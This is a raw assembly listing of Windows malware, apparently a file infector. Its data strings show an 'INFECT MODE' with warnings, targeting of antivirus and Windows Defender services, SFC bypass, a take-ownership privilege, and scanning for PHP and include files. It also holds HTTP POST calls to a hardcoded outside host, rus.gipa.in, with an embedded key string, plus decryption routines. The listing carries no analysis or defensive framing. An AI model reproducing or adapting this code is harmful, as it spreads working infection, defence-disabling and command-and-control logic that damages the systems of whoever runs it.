subl $1,%edi movl %edi,-24(%ebp) .line 526 movl -12(%ebp),%edi movl %edi,-28(%ebp) _$1756: .line 532 pushl $0 call __sleep addl $4,%esp jmp _$1756 _$1745: .line 593 popl %edi leave ret _$1760: .size _main,_$1760-_main .globl _main .bss .globl _hI .align 2 .type _hI,object .comm _hI,4 .globl _hw .align 2 .type _hw,object .comm _hw,4 .globl _sdelay .align 2 .type _sdelay,object .comm _sdelay,4 .globl _drvl .align 2 .type _drvl,object .comm _drvl,1020 .globl _htrd .align 2 .type _htrd,object .comm _htrd,1020 .globl _SECTNAME .type _SECTNAME,object .comm _SECTNAME,50 .globl _infsize .align 2 .type _infsize,object .comm _infsize,4 .globl _dll_len .align 2 .type _dll_len,object .comm _dll_len,4 .globl _dll_mem .align 2 .type _dll_mem,object .comm _dll_mem,4 .globl _upx_sect .align 2 .type _upx_sect,object .comm _upx_sect,4 .globl _szinfcode .align 2 .type _szinfcode,object .comm _szinfcode,4 .globl _AVSVC .type _AVSVC,object .comm _AVSVC,512 .globl _ticks2 .align 2 .type _ticks2,object .comm _ticks2,4 .globl _EMUL .align 2 .type _EMUL,object .comm _EMUL,4 .globl _ticks1 .align 2 .type _ticks1,object .comm _ticks1,4 .globl __CryptStringToBinaryA .align 2 .type __CryptStringToBinaryA,object .comm __CryptStringToBinaryA,4 .globl __ObtainUserAgentString .align 2 .type __ObtainUserAgentString,object .comm __ObtainUserAgentString,4 .globl __InternetCloseHandle .align 2 .type __InternetCloseHandle,object .comm __InternetCloseHandle,4 .globl __HttpSendRequestA .align 2 .type __HttpSendRequestA,object .comm __HttpSendRequestA,4 .globl __HttpAddRequestHeadersA .align 2 .type __HttpAddRequestHeadersA,object .comm __HttpAddRequestHeadersA,4 .globl __HttpOpenRequestA .align 2 .type __HttpOpenRequestA,object .comm __HttpOpenRequestA,4 .globl __InternetConnectA .align 2 .type __InternetConnectA,object .comm __InternetConnectA,4 .globl __InternetOpenA .align 2 .type __InternetOpenA,object .comm __InternetOpenA,4 .globl __InternetReadFile .align 2 .type __InternetReadFile,object .comm __InternetReadFile,4 .globl __CryptSetKeyParam .align 2 .type __CryptSetKeyParam,object .comm __CryptSetKeyParam,4 .globl __CryptImportKey .align 2 .type __CryptImportKey,object .comm __CryptImportKey,4 .globl __CryptAcquireContextA .align 2 .type __CryptAcquireContextA,object .comm __CryptAcquireContextA,4 .globl __CryptDestroyKey .align 2 .type __CryptDestroyKey,object .comm __CryptDestroyKey,4 .globl __CryptDecrypt .align 2 .type __CryptDecrypt,object .comm __CryptDecrypt,4 .globl __OpenSCManager .align 2 .type __OpenSCManager,object .comm __OpenSCManager,4 .globl __OpenService .align 2 .type __OpenService,object .comm __OpenService,4 .globl __ControlService .align 2 .type __ControlService,object .comm __ControlService,4 .globl __ChangeServiceConfig .align 2 .type __ChangeServiceConfig,object .comm __ChangeServiceConfig,4 .globl __StartService .align 2 .type __StartService,object .comm __StartService,4 .globl __EnumServicesStatus .align 2 .type __EnumServicesStatus,object .comm __EnumServicesStatus,4 .globl __QueryServiceConfig .align 2 .type __QueryServiceConfig,object .comm __QueryServiceConfig,4 .globl __CloseServiceHandle .align 2 .type __CloseServiceHandle,object .comm __CloseServiceHandle,4 .globl __SetFileSecurity .align 2 .type __SetFileSecurity,object .comm __SetFileSecurity,4 .globl __GetSidSubAuthorityCount .align 2 .type __GetSidSubAuthorityCount,object .comm __GetSidSubAuthorityCount,4 .globl __GetSidSubAuthority .align 2 .type __GetSidSubAuthority,object .comm __GetSidSubAuthority,4 .globl __GetSidIdentifierAuthority .align 2 .type __GetSidIdentifierAuthority,object .comm __GetSidIdentifierAuthority,4 .globl __SetSecurityDescriptorOwner .align 2 .type __SetSecurityDescriptorOwner,object .comm __SetSecurityDescriptorOwner,4 .globl __SetSecurityDescriptorDacl .align 2 .type __SetSecurityDescriptorDacl,object .comm __SetSecurityDescriptorDacl,4 .globl __InitializeSecurityDescriptor .align 2 .type __InitializeSecurityDescriptor,object .comm __InitializeSecurityDescriptor,4 .globl __AdjustTokenPrivileges .align 2 .type __AdjustTokenPrivileges,object .comm __AdjustTokenPrivileges,4 .globl __GetTokenInformation .align 2 .type __GetTokenInformation,object .comm __GetTokenInformation,4 .globl __LookupPrivilegeValue .align 2 .type __LookupPrivilegeValue,object .comm __LookupPrivilegeValue,4 .globl __OpenProcessToken .align 2 .type __OpenProcessToken,object .comm __OpenProcessToken,4 .globl __GetUserName .align 2 .type __GetUserName,object .comm __GetUserName,4 .globl __RegCloseKey .align 2 .type __RegCloseKey,object .comm __RegCloseKey,4 .globl __RegSetKeySecurity .align 2 .type __RegSetKeySecurity,object .comm __RegSetKeySecurity,4 .globl __RegSetValueEx .align 2 .type __RegSetValueEx,object .comm __RegSetValueEx,4 .globl __RegCreateKeyEx .align 2 .type __RegCreateKeyEx,object .comm __RegCreateKeyEx,4 .globl __RegQueryValueEx .align 2 .type __RegQueryValueEx,object .comm __RegQueryValueEx,4 .globl __RegEnumKeyEx .align 2 .type __RegEnumKeyEx,object .comm __RegEnumKeyEx,4 .globl __RegOpenKeyEx .align 2 .type __RegOpenKeyEx,object .comm __RegOpenKeyEx,4 .globl __CryptReleaseContext .align 2 .type __CryptReleaseContext,object .comm __CryptReleaseContext,4 .globl __CryptDestroyHash .align 2 .type __CryptDestroyHash,object .comm __CryptDestroyHash,4 .globl __CryptGetHashParam .align 2 .type __CryptGetHashParam,object .comm __CryptGetHashParam,4 .globl __CryptHashData .align 2 .type __CryptHashData,object .comm __CryptHashData,4 .globl __CryptCreateHash .align 2 .type __CryptCreateHash,object .comm __CryptCreateHash,4 .globl __CryptAcquireContext .align 2 .type __CryptAcquireContext,object .comm __CryptAcquireContext,4 .globl __SHGetFolderPath .align 2 .type __SHGetFolderPath,object .comm __SHGetFolderPath,4 .globl __SfcFileException .align 2 .type __SfcFileException,object .comm __SfcFileException,4 .globl __SfcIsFileProtected .align 2 .type __SfcIsFileProtected,object .comm __SfcIsFileProtected,4 .globl __CharUpperBuff .align 2 .type __CharUpperBuff,object .comm __CharUpperBuff,4 .globl __OemToChar .align 2 .type __OemToChar,object .comm __OemToChar,4 .globl __EnumDesktopWindows .align 2 .type __EnumDesktopWindows,object .comm __EnumDesktopWindows,4 .globl __FindWindowEx .align 2 .type __FindWindowEx,object .comm __FindWindowEx,4 .globl __TranslateMessage .align 2 .type __TranslateMessage,object .comm __TranslateMessage,4 .globl __ShowWindow .align 2 .type __ShowWindow,object .comm __ShowWindow,4 .globl __SetWindowText .align 2 .type __SetWindowText,object .comm __SetWindowText,4 .globl __SetWindowLong .align 2 .type __SetWindowLong,object .comm __SetWindowLong,4 .globl __SetFocus .align 2 .type __SetFocus,object .comm __SetFocus,4 .globl __SendMessage .align 2 .type __SendMessage,object .comm __SendMessage,4 .globl __RegisterClass .align 2 .type __RegisterClass,object .comm __RegisterClass,4 .globl __MoveWindow .align 2 .type __MoveWindow,object .comm __MoveWindow,4 .globl __GetWindowText .align 2 .type __GetWindowText,object .comm __GetWindowText,4 .globl __GetWindowRect .align 2 .type __GetWindowRect,object .comm __GetWindowRect,4 .globl __GetWindowLong .align 2 .type __GetWindowLong,object .comm __GetWindowLong,4 .globl __GetWindow .align 2 .type __GetWindow,object .comm __GetWindow,4 .globl __GetMessage .align 2 .type __GetMessage,object .comm __GetMessage,4 .globl __GetForegroundWindow .align 2 .type __GetForegroundWindow,object .comm __GetForegroundWindow,4 .globl __GetClassName .align 2 .type __GetClassName,object .comm __GetClassName,4 .globl __DispatchMessage .align 2 .type __DispatchMessage,object .comm __DispatchMessage,4 .globl __DestroyWindow .align 2 .type __DestroyWindow,object .comm __DestroyWindow,4 .globl __CreateWindowEx .align 2 .type __CreateWindowEx,object .comm __CreateWindowEx,4 .globl __DefWindowProc .align 2 .type __DefWindowProc,object .comm __DefWindowProc,4 .globl __CallWindowProc .align 2 .type __CallWindowProc,object .comm __CallWindowProc,4 .globl __MessageBox .align 2 .type __MessageBox,object .comm __MessageBox,4 .globl __wcslen .align 2 .type __wcslen,object .comm __wcslen,4 .globl __vsprintf .align 2 .type __vsprintf,object .comm __vsprintf,4 .globl __sprintf .align 2 .type __sprintf,object .comm __sprintf,4 .globl __strcat .align 2 .type __strcat,object .comm __strcat,4 .globl __rand .align 2 .type __rand,object .comm __rand,4 .globl __srand .align 2 .type __srand,object .comm __srand,4 .globl __memset .align 2 .type __memset,object .comm __memset,4 .globl __memcpy .align 2 .type __memcpy,object .comm __memcpy,4 .globl __memcmp .align 2 .type __memcmp,object .comm __memcmp,4 .globl __malloc .align 2 .type __malloc,object .comm __malloc,4 .globl __free .align 2 .type __free,object .comm __free,4 .globl __atoi .align 2 .type __atoi,object .comm __atoi,4 .globl ___toupper .align 2 .type ___toupper,object .comm ___toupper,4 .globl ___sleep .align 2 .type ___sleep,object .comm ___sleep,4 .globl __lstrcatA .align 2 .type __lstrcatA,object .comm __lstrcatA,4 .globl __OutputDebugStringA .align 2 .type __OutputDebugStringA,object .comm __OutputDebugStringA,4 .globl __IsBadReadPtr .align 2 .type __IsBadReadPtr,object .comm __IsBadReadPtr,4 .globl __TerminateProcess .align 2 .type __TerminateProcess,object .comm __TerminateProcess,4 .globl __TerminateThread .align 2 .type __TerminateThread,object .comm __TerminateThread,4 .globl __GetExitCodeProcess .align 2 .type __GetExitCodeProcess,object .comm __GetExitCodeProcess,4 .globl __CreateProcess .align 2 .type __CreateProcess,object .comm __CreateProcess,4 .globl __CreatePipe .align 2 .type __CreatePipe,object .comm __CreatePipe,4 .globl __PeekNamedPipe .align 2 .type __PeekNamedPipe,object .comm __PeekNamedPipe,4 .globl __CreateDirectory .align 2 .type __CreateDirectory,object .comm __CreateDirectory,4 .globl __GetComputerName .align 2 .type __GetComputerName,object .comm __GetComputerName,4 .globl __GetEnvironmentStrings .align 2 .type __GetEnvironmentStrings,object .comm __GetEnvironmentStrings,4 .globl __FreeEnvironmentStrings .align 2 .type __FreeEnvironmentStrings,object .comm __FreeEnvironmentStrings,4 .globl __FreeLibrary .align 2 .type __FreeLibrary,object .comm __FreeLibrary,4 .globl __WaitForSingleObject .align 2 .type __WaitForSingleObject,object .comm __WaitForSingleObject,4 .globl __GetCurrentThreadId .align 2 .type __GetCurrentThreadId,object .comm __GetCurrentThreadId,4 .globl __GetCurrentProcessId .align 2 .type __GetCurrentProcessId,object .comm __GetCurrentProcessId,4 .globl __OpenProcess .align 2 .type __OpenProcess,object .comm __OpenProcess,4 .globl __GetLocaleInfo .align 2 .type __GetLocaleInfo,object .comm __GetLocaleInfo,4 .globl __GetVersionEx .align 2 .type __GetVersionEx,object .comm __GetVersionEx,4 .globl __FindClose .align 2 .type __FindClose,object .comm __FindClose,4 .globl __FileTimeToSystemTime .align 2 .type __FileTimeToSystemTime,object .comm __FileTimeToSystemTime,4 .globl __CompareFileTime .align 2 .type __CompareFileTime,object .comm __CompareFileTime,4 .globl __GetVolumeInformation .align 2 .type __GetVolumeInformation,object .comm __GetVolumeInformation,4 .globl ___InterlockedDecrement .align 2 .type ___InterlockedDecrement,object .comm ___InterlockedDecrement,4 .globl ___InterlockedIncrement .align 2 .type ___InterlockedIncrement,object .comm ___InterlockedIncrement,4 .globl __GetSystemDirectory .align 2 .type __GetSystemDirectory,object .comm __GetSystemDirectory,4 .globl __GetModuleFileName .align 2 .type __GetModuleFileName,object .comm __GetModuleFileName,4 .globl __OpenMutex .align 2 .type __OpenMutex,object .comm __OpenMutex,4 .globl __CreateMutex .align 2 .type __CreateMutex,object .comm __CreateMutex,4 .globl __CopyFile .align 2 .type __CopyFile,object .comm __CopyFile,4 .globl __GetDiskFreeSpace .align 2 .type __GetDiskFreeSpace,object .comm __GetDiskFreeSpace,4 .globl __SetErrorMode .align 2 .type __SetErrorMode,object .comm __SetErrorMode,4 .globl __GetExitCodeThread .align 2 .type __GetExitCodeThread,object .comm __GetExitCodeThread,4 .globl __GetDriveType .align 2 .type __GetDriveType,object .comm __GetDriveType,4 .globl __FindNextFile .align 2 .type __FindNextFile,object .comm __FindNextFile,4 .globl __FindFirstFile .align 2 .type __FindFirstFile,object .comm __FindFirstFile,4 .globl __GetTickCount .align 2 .type __GetTickCount,object .comm __GetTickCount,4 .globl __lstrlen .align 2 .type __lstrlen,object .comm __lstrlen,4 .globl __lstrlenW .align 2 .type __lstrlenW,object .comm __lstrlenW,4 .globl __ZeroMemory .align 2 .type __ZeroMemory,object .comm __ZeroMemory,4 .globl __WinExec .align 2 .type __WinExec,object .comm __WinExec,4 .globl __WideCharToMultiByte .align 2 .type __WideCharToMultiByte,object .comm __WideCharToMultiByte,4 .globl __VirtualFree .align 2 .type __VirtualFree,object .comm __VirtualFree,4 .globl __VirtualAlloc .align 2 .type __VirtualAlloc,object .comm __VirtualAlloc,4 .globl __ReadFile .align 2 .type __ReadFile,object .comm __ReadFile,4 .globl __MultiByteToWideChar .align 2 .type __MultiByteToWideChar,object .comm __MultiByteToWideChar,4 .globl __LocalFree .align 2 .type __LocalFree,object .comm __LocalFree,4 .globl __LocalAlloc .align 2 .type __LocalAlloc,object .comm __LocalAlloc,4 .globl __GetTempPath .align 2 .type __GetTempPath,object .comm __GetTempPath,4 .globl __GetSystemTime .align 2 .type __GetSystemTime,object .comm __GetSystemTime,4 .globl __GetFileSize .align 2 .type __GetFileSize,object .comm __GetFileSize,4 .globl __CloseHandle .align 2 .type __CloseHandle,object .comm __CloseHandle,4 .globl __WriteFile .align 2 .type __WriteFile,object .comm __WriteFile,4 .globl __SetFilePointer .align 2 .type __SetFilePointer,object .comm __SetFilePointer,4 .globl __DeleteFile .align 2 .type __DeleteFile,object .comm __DeleteFile,4 .globl __CreateFile .align 2 .type __CreateFile,object .comm __CreateFile,4 .globl __LoadLibrary .align 2 .type __LoadLibrary,object .comm __LoadLibrary,4 .globl __GetModuleHandle .align 2 .type __GetModuleHandle,object .comm __GetModuleHandle,4 .globl __ExitThread .align 2 .type __ExitThread,object .comm __ExitThread,4 .globl __IsBadStringPtrW .align 2 .type __IsBadStringPtrW,object .comm __IsBadStringPtrW,4 .globl __Process32Next .align 2 .type __Process32Next,object .comm __Process32Next,4 .globl __Process32First .align 2 .type __Process32First,object .comm __Process32First,4 .globl __CreateToolhelp32Snapshot .align 2 .type __CreateToolhelp32Snapshot,object .comm __CreateToolhelp32Snapshot,4 .globl __VirtualProtect .align 2 .type __VirtualProtect,object .comm __VirtualProtect,4 .globl __Sleep .align 2 .type __Sleep,object .comm __Sleep,4 .globl __LeaveCriticalSection .align 2 .type __LeaveCriticalSection,object .comm __LeaveCriticalSection,4 .globl __InitializeCriticalSection .align 2 .type __InitializeCriticalSection,object .comm __InitializeCriticalSection,4 .globl __EnterCriticalSection .align 2 .type __EnterCriticalSection,object .comm __EnterCriticalSection,4 .globl __CreateThread .align 2 .type __CreateThread,object .comm __CreateThread,4 .globl __GetProcAddress .align 2 .type __GetProcAddress,object .comm __GetProcAddress,4 .extern _VirtualFree@12 .extern _FreeLibrary@4 .extern _GetModuleHandleA@4 .extern _lstrlenA@4 .extern _lstrcmpiA@8 .extern _strcpy@8 .extern __sleep .data _$1724: ; "kernel32.dll\x0" .byte 107,101,114,110,101,108,51,50,46,100,108,108,0 _$1709: ; "%s_mtx1\x0" .byte 37,115,95,109,116,120,49,0 _$1700: ; "gazavat-svc\x0" .byte 103,97,122,97,118,97,116,45,115,118,99,0 _$1699: ; "%s_%u\x0" .byte 37,115,95,37,117,0 _$1698: ; "000\x0" .byte 48,48,48,0 _$1693: ; "no kkqvx.dll, cant infect\x0" .byte 110,111,32,107,107,113,118,120,46,100,108,108,44,32,99,97 .byte 110,116,32,105,110,102,101,99,116,0 _$1692: ; "INFECT MODE ON: the last warning! Are u sure? Kill process if NO.\x0" .byte 73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32 .byte 116,104,101,32,108,97,115,116,32,119,97,114,110,105,110 .byte 103,33,32,65,114,101,32,117,32,115,117,114,101,63,32 .byte 75,105,108,108,32,112,114,111,99,101,115,115,32,105,102 .byte 32,78,79,46,0 _$1691: ; "INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake\x0" .byte 73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32 .byte 102,111,117,110,100,32,107,107,113,118,120,46,100,108,108 .byte 44,32,107,105,108,108,32,112,114,111,99,101,115,115,32 .byte 110,111,119,32,105,102,32,108,97,117,110,99,104,101,100 .byte 32,98,121,32,109,105,115,116,97,107,101,0 _$1688: ; "kkqvx.dll\x0" .byte 107,107,113,118,120,46,100,108,108,0 _$1674: ; "kkq-vx\x0" .byte 107,107,113,45,118,120,0 _$1673: ; "%s_mtx%u\x0" .byte 37,115,95,109,116,120,37,117,0 _$1658: ; "not init dll\x0" .byte 110,111,116,32,105,110,105,116,32,100,108,108,0 _$1657: ; "not found func\x0" .byte 110,111,116,32,102,111,117,110,100,32,102,117,110,99,0 _$1656: ; "8\x0" .byte 56,0 _$1653: ; "7\x0" .byte 55,0 _$1652: ; "TestRun\x0" .byte 84,101,115,116,82,117,110,0 _$1651: ; "6\x0" .byte 54,0 _$1648: ; "5\x0" .byte 53,0 _$1647: ; "4\x0" .byte 52,0 _$1646: ; "c:\test.bin\x0" .byte 99,58,92,116,101,115,116,46,98,105,110,0 _$1643: ; "3\x0" .byte 51,0 _$1642: ; "1\x0" .byte 49,0 _$1640: ; "testdll.dll\x0" .byte 116,101,115,116,100,108,108,46,100,108,108,0 _$1464: ; "Content-Length: 3\x0" .byte 67,111,110,116,101,110,116,45,76,101,110,103,116,104,58,32 .byte 51,0 _$1463: ; "Content-Type: application/x-www-form-urlencoded\x0" .byte 67,111,110,116,101,110,116,45,84,121,112,101,58,32,97,112 .byte 112,108,105,99,97,116,105,111,110,47,120,45,119,119,119 .byte 45,102,111,114,109,45,117,114,108,101,110,99,111,100,101 .byte 100,0 _$1462: ; "Accept: */*\x0" .byte 65,99,99,101,112,116,58,32,42,47,42,0 _$1454: ; "POST\x0" .byte 80,79,83,84,0 _$1415: ; "b=1\x0" .byte 98,61,49,0 _$1409: ; ".7z\x0" .byte 46,55,122,0 _$1408: ; ".inc\x0" .byte 46,105,110,99,0 _$1407: ; ".phtm\x0" .byte 46,112,104,116,109,0 _$1406: ; ".php3\x0" .byte 46,112,104,112,51,0 _$1405: ; ".phtml\x0" .byte 46,112,104,116,109,108,0 _$1404: ; "rus.gipa.in\x0" .byte 114,117,115,46,103,105,112,97,46,105,110,0 _$1403: ; "bRS8yYQ0APq9xfzC\x0" .byte 98,82,83,56,121,89,81,48,65,80,113,57,120,102,122,67 .byte 0 _$1096: ; "%s%s\\x0" .byte 37,115,37,115,92,0 _$1084: ; "%s*\x0" .byte 37,115,42,0 _$1079: ; "%c:\\x0" .byte 37,99,58,92,0 _$1041: ; "taskmgr.\x0" .byte 116,97,115,107,109,103,114,46,0 _$1038: ; "rundll32.\x0" .byte 114,117,110,100,108,108,51,50,46,0 _$1035: ; "init.\x0" .byte 105,110,105,116,46,0 _$1032: ; "cmd.\x0" .byte 99,109,100,46,0 _$1029: ; "xplore.\x0" .byte 120,112,108,111,114,101,46,0 _$1026: ; "xplorer.\x0" .byte 120,112,108,111,114,101,114,46,0 _$971: ; "\\x0" .byte 92,0 _$826: ; "PACK\x0" .byte 80,65,67,75,0 _$527: ; "svchost\x0" .byte 115,118,99,104,111,115,116,0 _$524: ; ".exe\x0" .byte 46,101,120,101,0 _$516: ; "|\x0" .byte 124,0 _$503: ; "systemprofile\x0" .byte 115,121,115,116,101,109,112,114,111,102,105,108,101,0 _$500: ; "ervice\x0" .byte 101,114,118,105,99,101,0 _$491: ; "$\x0" .byte 36,0 _$490: ; " SERVICE\x0" .byte 32,83,69,82,86,73,67,69,0 _$487: ; "SYSTEM\x0" .byte 83,89,83,84,69,77,0 _$478: ; "|wscsvc|WinDefend|MsMpSvc|NisSrv|\x0" .byte 124,119,115,99,115,118,99,124,87,105,110,68,101,102,101,110 .byte 100,124,77,115,77,112,83,118,99,124,78,105,115,83,114 .byte 118,124,0 _$458: ; "SeTakeOwnershipPrivilege\x0" .byte 83,101,84,97,107,101,79,119,110,101,114,115,104,105,112,80 .byte 114,105,118,105,108,101,103,101,0 _$355: ; "/*@S|*/00CryptStringToBinaryA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,67,114,121,112,116,83,116 .byte 114,105,110,103,84,111,66,105,110,97,114,121,65,47,42 .byte 64,69,42,47,124,0 _$352: ; "crypt32.dll\x0" .byte 99,114,121,112,116,51,50,46,100,108,108,0 _$347: ; "/*@S|*/00ObtainUserAgentString/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,79,98,116,97,105,110,85 .byte 115,101,114,65,103,101,110,116,83,116,114,105,110,103,47 .byte 42,64,69,42,47,124,0 _$344: ; "urlmon.dll\x0" .byte 117,114,108,109,111,110,46,100,108,108,0 _$339: ; "/*@S|*/00InternetReadFile|01InternetOpenA|02InternetConnectA|03HttpOpenRequestA|04HttpAddRequestHeadersA|05HttpSendRequestA|06InternetCloseHandle/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,73,110,116,101,114,110,101 .byte 116,82,101,97,100,70,105,108,101,124,48,49,73,110,116 .byte 101,114,110,101,116,79,112,101,110,65,124,48,50,73,110 .byte 116,101,114,110,101,116,67,111,110,110,101,99,116,65,124 .byte 48,51,72,116,116,112,79,112,101,110,82,101,113,117,101 .byte 115,116,65,124,48,52,72,116,116,112,65,100,100,82,101 .byte 113,117,101,115,116,72,101,97,100,101,114,115,65,124,48 .byte 53,72,116,116,112,83,101,110,100,82,101,113,117,101,115 .byte 116,65,124,48,54,73,110,116,101,114,110,101,116,67,108 .byte 111,115,101,72,97,110,100,108,101,47,42,64,69,42,47 .byte 124,0 _$336: ; "wininet.dll\x0" .byte 119,105,110,105,110,101,116,46,100,108,108,0 _$319: ; "/*@S|*/00RegOpenKeyExA|01RegQueryValueExA|02RegCreateKeyExA|03RegSetValueExA|04RegCloseKey|05GetUserNameA|06OpenProcessToken|07LookupPrivilegeValueA|08GetTokenInformation|09AdjustTokenPrivileges|10InitializeSecurityDescriptor|11SetSecurityDescriptorDacl|12SetSecurityDescriptorOwner|13GetSidIdentifierAuthority|14GetSidSubAuthority|15GetSidSubAuthorityCount|16SetFileSecurityA|17CloseServiceHandle|18QueryServiceConfigA|19EnumServicesStatusA|20OpenServiceA|21OpenSCManagerA|22StartServiceA|23ChangeServiceConfigA|24CryptAcquireContextA|25CryptCreateHash|26CryptHashData|27CryptGetHashParam|28CryptDestroyHash|29CryptReleaseContext|30ControlService|31RegEnumKeyExA|32RegSetKeySecurity|33CryptDecrypt|34CryptDestroyKey|35CryptReleaseContext|36CryptAcquireContextA|37CryptImportKey|38CryptSetKeyParam|39CryptSetKeyParam|40CryptDestroyKey|41CryptReleaseContext/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,82,101,103,79,112,101,110 .byte 75,101,121,69,120,65,124,48,49,82,101,103,81,117,101 .byte 114,121,86,97,108,117,101,69,120,65,124,48,50,82,101 .byte 103,67,114,101,97,116,101,75,101,121,69,120,65,124,48 .byte 51,82,101,103,83,101,116,86,97,108,117,101,69,120,65 .byte 124,48,52,82,101,103,67,108,111,115,101,75,101,121,124 .byte 48,53,71,101,116,85,115,101,114,78,97,109,101,65,124 .byte 48,54,79,112,101,110,80,114,111,99,101,115,115,84,111 .byte 107,101,110,124,48,55,76,111,111,107,117,112,80,114,105 .byte 118,105,108,101,103,101,86,97,108,117,101,65,124,48,56 .byte 71,101,116,84,111,107,101,110,73,110,102,111,114,109,97 .byte 116,105,111,110,124,48,57,65,100,106,117,115,116,84,111 .byte 107,101,110,80,114,105,118,105,108,101,103,101,115,124,49 .byte 48,73,110,105,116,105,97,108,105,122,101,83,101,99,117 .byte 114,105,116,121,68,101,115,99,114,105,112,116,111,114,124 .byte 49,49,83,101,116,83,101,99,117,114,105,116,121,68,101 .byte 115,99,114,105,112,116,111,114,68,97,99,108,124,49,50 .byte 83,101,116,83,101,99,117,114,105,116,121,68,101,115,99 .byte 114,105,112,116,111,114,79,119,110,101,114,124,49,51,71 .byte 101,116,83,105,100,73,100,101,110,116,105,102,105,101,114 .byte 65,117,116,104,111,114,105,116,121,124,49,52,71,101,116 .byte 83,105,100,83,117,98,65,117,116,104,111,114,105,116,121 .byte 124,49,53,71,101,116,83,105,100,83,117,98,65,117,116 .byte 104,111,114,105,116,121,67,111,117,110,116,124,49,54,83 .byte 101,116,70,105,108,101,83,101,99,117,114,105,116,121,65 .byte 124,49,55,67,108,111,115,101,83,101,114,118,105,99,101 .byte 72,97,110,100,108,101,124,49,56,81,117,101,114,121,83 .byte 101,114,118,105,99,101,67,111,110,102,105,103,65,124,49 .byte 57,69,110,117,109,83,101,114,118,105,99,101,115,83,116 .byte 97,116,117,115,65,124,50,48,79,112,101,110,83,101,114 .byte 118,105,99,101,65,124,50,49,79,112,101,110,83,67,77 .byte 97,110,97,103,101,114,65,124,50,50,83,116,97,114,116 .byte 83,101,114,118,105,99,101,65,124,50,51,67,104,97,110 .byte 103,101,83,101,114,118,105,99,101,67,111,110,102,105,103 .byte 65,124,50,52,67,114,121,112,116,65,99,113,117,105,114 .byte 101,67,111,110,116,101,120,116,65,124,50,53,67,114,121 .byte 112,116,67,114,101,97,116,101,72,97,115,104,124,50,54 .byte 67,114,121,112,116,72,97,115,104,68,97,116,97,124,50 .byte 55,67,114,121,112,116,71,101,116,72,97,115,104,80,97 .byte 114,97,109,124,50,56,67,114,121,112,116,68,101,115,116 .byte 114,111,121,72,97,115,104,124,50,57,67,114,121,112,116 .byte 82,101,108,101,97,115,101,67,111,110,116,101,120,116,124 .byte 51,48,67,111,110,116,114,111,108,83,101,114,118,105,99 .byte 101,124,51,49,82,101,103,69,110,117,109,75,101,121,69 .byte 120,65,124,51,50,82,101,103,83,101,116,75,101,121,83 .byte 101,99,117,114,105,116,121,124,51,51,67,114,121,112,116 .byte 68,101,99,114,121,112,116,124,51,52,67,114,121,112,116 .byte 68,101,115,116,114,111,121,75,101,121,124,51,53,67,114 .byte 121,112,116,82,101,108,101,97,115,101,67,111,110,116,101 .byte 120,116,124,51,54,67,114,121,112,116,65,99,113,117,105 .byte 114,101,67,111,110,116,101,120,116,65,124,51,55,67,114 .byte 121,112,116,73,109,112,111,114,116,75,101,121,124,51,56 .byte 67,114,121,112,116,83,101,116,75,101,121,80,97,114,97 .byte 109,124,51,57,67,114,121,112,116,83,101,116,75,101,121 .byte 80,97,114,97,109,124,52,48,67,114,121,112,116,68,101 .byte 115,116,114,111,121,75,101,121,124,52,49,67,114,121,112 .byte 116,82,101,108,101,97,115,101,67,111,110,116,101,120,116 .byte 47,42,64,69,42,47,124,0 _$316: ; "advapi32.dll\x0" .byte 97,100,118,97,112,105,51,50,46,100,108,108,0 _$310: ; "SHGetFolderPathA\x0" .byte 83,72,71,101,116,70,111,108,100,101,114,80,97,116,104,65 .byte 0 _$307: ; "shell32.dll\x0" .byte 115,104,101,108,108,51,50,46,100,108,108,0 _$297: ; "sfc_os.dll\x0" .byte 115,102,99,95,111,115,46,100,108,108,0 _$291: ; "SfcIsFileProtected\x0" .byte 83,102,99,73,115,70,105,108,101,80,114,111,116,101,99,116 .byte 101,100,0 _$286: ; "sfc.dll\x0" .byte 115,102,99,46,100,108,108,0 _$281: ; "/*@S|*/00CallWindowProcA|01CreateWindowExA|02DefWindowProcA|03DestroyWindow|04DispatchMessageA|05GetClassNameA|06GetForegroundWindow|07GetMessageA|08GetWindow|09GetWindowLongA|10GetWindowRect|11GetWindowTextA|12MessageBoxA|13MoveWindow|14RegisterClassA|15SendMessageA|16SetFocus|17SetWindowLongA|18SetWindowTextA|19ShowWindow|20TranslateMessage|21FindWindowExA|22EnumDesktopWindows|23OemToCharA|24CharUpperBuffA/*@E*/|\x0" .byte 47,42,64,83,124,42,47,48,48,67,97,108,108,87,105,110 .byte 100,111,119,80,114,111,99,65,124,48,49,67,114,101,97 .byte 116,101,87,105,110,100,111,119,69,120,65,124,48,50,68 .byte 101,102,87,105,110,100,111,119,80,114,111,99,65,124,48 .byte 51,68,101,115,116,114,111,121,87,105,110,100,111,119,124 .byte 48,52,68,105,115,112,97,116,99,104,77,101,115,115,97 .byte 103,101,65,124,48,53,71,101,116,67,108,97,115,115,78 .byte 97,109,101,65,124,48,54,71,101,116,70,111,114,101,103 .byte 114,111,117,110,100,87,105,110,100,111,119,124,48,55,71 .byte 101,116,77,101,115,115,97,103,101,65,124,48,56,71,101 .byte 116,87,105,110,100,111,119,124,48,57,71,101,116,87,105 .byte 110,100,111,119,76,111,110,103,65,124,49,48,71,101,116 .byte 87,105,110,100,111,119,82,101,99,116,124,49,49,71,101 .byte 116,87,105,110,100,111,119,84,101,120,116,65,124,49,50 .byte 77,101,115,115,97,103,101,66,111,120,65,124,49,51,77 .byte 111,118,101,87,105,110,100,111,119,124,49,52,82,101,103 .byte 105,115,116,101,114,67,108,97,115,115,65,124,49,53,83 .byte 101,110,100,77,101,115,115,97,103,101,65,124,49,54,83 .byte 101,116,70,111,99,117,115,124,49,55,83,101,116,87,105 .byte 110,100,111,119,76,111,110,103,65,124,49,56,83,101,116 .byte 87,105,110,100,111,119,84,101,120,116,65,124,49,57,83 .byte 104,111,119,87,105,110,100,111,119,124,50,48,84,114,97 .byte 110,115,108,97,116,101,77,101,115,115,97,103,101,124,50 .byte 49,70,105,110,100,87,105,110,100,111,119,69,120,65,124 .byte 50,50,69,110,117,109,68,101,115,107,116,111,112,87,105 .byte 110,100,111,119,115,124,50,51,79,101,109,84,111,67,104 .byte 97,114,65,124,50,52,67,104,97,114,85,112,112,101,114 .byte 66,117,102,102,65,47,42,64,69,42,47,124,0 _$278: ; 